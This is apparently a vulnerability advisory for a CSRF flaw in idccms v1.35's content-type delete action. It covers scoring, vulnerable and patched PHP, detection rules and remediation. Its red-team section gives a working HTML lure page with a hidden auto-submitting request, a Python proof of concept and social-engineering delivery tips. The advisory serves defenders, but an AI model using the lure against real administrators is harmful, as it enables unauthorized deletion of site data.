CVE-2024-36668

Executive Summary

CVE-2024-36668 is a Cross-Site Request Forgery (CSRF) vulnerability identified in idccms v1.35. The flaw exists in the admin/type_deal.php?mudi=del component, allowing an attacker to forge requests that delete content types on behalf of an authenticated administrator. This attack requires user interaction (clicking a malicious link) and does not provide direct data exfiltration, but it can lead to unauthorized data deletion and disruption of CMS functionality. The vulnerability is publicly known with a proof-of-concept available, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated for targeted attacks against idccms installations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction and only allows deletion of content types, not full system compromise. However, in a CMS context, this can lead to significant data loss and operational disruption.

Deep Dive & Mechanics

The vulnerability resides in the admin/type_deal.php script, specifically in the mudi=del action. The script does not implement any anti-CSRF tokens, origin headers, or referrer checks. An attacker can craft a malicious HTML page or image tag that triggers a GET or POST request to:

http://target/admin/type_deal.php?mudi=del&id=<type_id>

When an authenticated administrator visits the attacker's page, the browser automatically sends the request with the admin's session cookies, causing the deletion of the specified content type. The id parameter is not validated or sanitized, allowing deletion of any type ID.

Attack Flow:

1. Attacker identifies a target running idccms v1.35.
2. Attacker crafts a malicious link or embeds a request in an image tag.
3. Attacker lures an authenticated admin to click the link or visit the page.
4. The admin's browser sends the forged request with valid session cookies.
5. The server deletes the content type without verifying the request's origin.

Vulnerable vs. Patched Code

Vulnerable Code (idccms v1.35):

// admin/type_deal.php (simplified)
if ($_GET['mudi'] == 'del') {
    $id = $_GET['id'];
    $sql = "DELETE FROM type WHERE id = $id";
    mysqli_query($conn, $sql);
    // No CSRF token check
}

Patched Code (Hypothetical):

// admin/type_deal.php (patched)
session_start();
if ($_GET['mudi'] == 'del') {
    if (!isset($_GET['token']) || $_GET['token'] !== $_SESSION['csrf_token']) {
        die("CSRF token validation failed.");
    }
    $id = intval($_GET['id']);
    $sql = "DELETE FROM type WHERE id = $id";
    mysqli_query($conn, $sql);
}

The patched version adds a CSRF token check and uses intval() to sanitize the id parameter.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running idccms v1.35 with an authenticated admin session.
• Attacker-controlled web server or ability to host a malicious page.

Exploit Steps:

1. Host the following HTML on an attacker-controlled server:

<!DOCTYPE html>
<html>
<body>
<h1>Click to win a prize!</h1>
<img src="http://target/admin/type_deal.php?mudi=del&id=1" style="display:none;">
<script>
// Alternative: auto-submit form
document.write('<form id="csrf" action="http://target/admin/type_deal.php" method="GET">');
document.write('<input type="hidden" name="mudi" value="del">');
document.write('<input type="hidden" name="id" value="1">');
document.write('</form>');
document.getElementById('csrf').submit();
</script>
</body>
</html>

2. Send the link to an authenticated admin (e.g., via email or social engineering).
3. When the admin visits the page, the request is sent, and the content type with ID 1 is deleted.

Proof-of-Concept (PoC) Code:

import requests

target = "http://target/admin/type_deal.php"
params = {"mudi": "del", "id": "1"}
cookies = {"PHPSESSID": "admin_session_id"}  # Requires valid session

response = requests.get(target, params=params, cookies=cookies)
if response.status_code == 200:
    print("CSRF exploit executed successfully.")
else:
    print("Exploit failed.")

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected GET requests to /admin/type_deal.php?mudi=del from external referrers.
• Alert on multiple deletion requests in a short time window.
• Check for missing Referer header or Origin header mismatch.

Defense:

• Implement CSRF tokens in all admin forms.
• Validate the Referer header to ensure requests originate from the same site.
• Use SameSite cookies (Lax or Strict) to prevent cross-site requests.
• Restrict admin access to trusted IPs or VPN.

Indicators of Compromise (IOCs)

• Network:

  • HTTP GET requests to /admin/type_deal.php?mudi=del&id=<number>
  • Referer header pointing to an external domain (e.g., http://evil.com/)
  • Missing or suspicious Origin header in admin requests

• Host:

  • Unexpected deletion of content types in the database
  • Log entries showing type_deal.php accessed with mudi=del from non-admin IPs

• File:

  • No specific file IOCs; the vulnerability is logic-based.

Detection Engineering

YARA Rule

rule Detect_idccms_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against idccms v1.35"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-36668"
    strings:
        $s1 = "mudi=del" ascii wide nocase
        $s2 = "type_deal.php" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: idccms CSRF Exploit Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects CSRF attempts against idccms v1.35 via type_deal.php
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36668
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/admin/type_deal.php'
        cs-uri-query|contains: 'mudi=del'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-36668 idccms CSRF Exploit"; flow:to_server,established; content:"GET"; http_method; content:"/admin/type_deal.php"; http_uri; content:"mudi=del"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the type_deal.php script if not required, or restrict access via .htaccess:

   <Files "type_deal.php">
       Require ip 192.168.1.0/24
   </Files>
   

2. Implement CSRF tokens manually by modifying the PHP code (see patched code above).
3. Set SameSite cookies to Lax or Strict in PHP configuration:

   session_set_cookie_params(['samesite' => 'Lax']);
   

Long-term Fix:

• Upgrade to a patched version if the vendor releases one.
• Consider migrating to a more actively maintained CMS.

Workarounds:

• Use a Web Application Firewall (WAF) to block requests to /admin/type_deal.php with mudi=del from external referrers.
• Implement additional authentication for sensitive actions (e.g., re-prompt for password).

Valters IT